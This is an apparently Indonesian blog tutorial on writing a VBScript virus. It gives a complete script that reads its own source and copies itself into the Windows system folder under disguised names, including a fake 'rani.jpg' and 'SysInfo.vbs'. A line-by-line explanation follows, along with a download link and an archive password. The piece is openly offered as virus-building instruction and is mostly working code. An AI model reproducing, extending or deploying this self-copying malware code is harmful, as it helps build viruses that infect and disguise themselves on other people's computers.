MENGKOPIKAN DIRI KE FOLDER WINDOWS

Folder windows biasanya menjadi sasaran utama virus, karena di folder inilah terkumpul file – file system yang tidak boleh sembarang di hapus.bahasa pemograman VBS mengenal beberapa path folder diantaranya:

1.Folder windows = GetSpecialFolder(0)

2.Folder system32 =  GetSpecialFolder(1)

3.Folder Temp = GetSpecialFolder(2)

Berikut scriptnya:                                                                                                                         

on error resume next

set dendrif=CreateObject("Scripting.FileSystemObject")

set vs=dendrif.OpenTextFile(Wscript.ScriptFullName)

c1vs=vs.ReadAll

vs.close

set win=dendrif.GetSpecialFolder(0)

set c2vs=dendrif.GetFile(Wscript.ScriptFullName)

c2vs.Copy (win & "\runs.vbs")

c2vs.Copy (win & "\rani.jpg")

c2vs.Copy (win & "\SysInfo.vbs")

msgbox"virus telah berhasil di kopi ke folder windows",vbinformation,"Tes virus..."
simpan script dengan nama contoh kopiwindows.vbs, lalu jalankan......

penjelasan script

on error resume next = bila terjadi kesalahan lanjutkan ke perintah selanjutnya

set dendrif=CreateObject("Scripting.FileSystemObject") ==> menset dendrif sebagai  penghendelan file objek untuk pembuatan file atau hal lainnya yang dibutuhkan vbs ,saya juga kurang paham arti khususnya

set vs=dendrif.OpenTextFile(Wscript.ScriptFullName) ==> menset vs untuk penghendelan membuka virusnya sendiri (Wscript.ScriptFullName)

c1vs=vs.ReadAll  == >variable c1vs digunakan untuk pembacaan virus secara keseluruhan

vs.close  ==> pembacaan virus selesai dan di tutup

set win=dendrif.GetSpecialFolder(0)  ==> penghendelan untuk mendapatkan folder windows

set c2vs=dendrif.GetFile(Wscript.ScriptFullName) ==> menset c2vs untuk mendapatkan informasi virus

c2vs.Copy (win & "\runs.vbs")  ==> mengkopi virus ke folder  windows dengan nama runs.vbs

c2vs.Copy (win & "\rani.jpg")   ==> mengkopi virus ke folder  windows dengan nama rani.jpg

c2vs.Copy (win & "\SysInfo.vbs")  ==> mengkopi virus ke folder  windows dengan nama SysInfo.vbs

msgbox"virus telah berhasil di kopi ke folder  windows",vbinformation,"Tes virus..."  ==> menampilkan pesan pengkopian ke folder windows berhasil….

Screenshot hasil pengkopian:

pengkopian virus ke folder windows

 download script

password = www.dendrif-deo.co.cc[copywindows]

semoga bermanfaat........... :D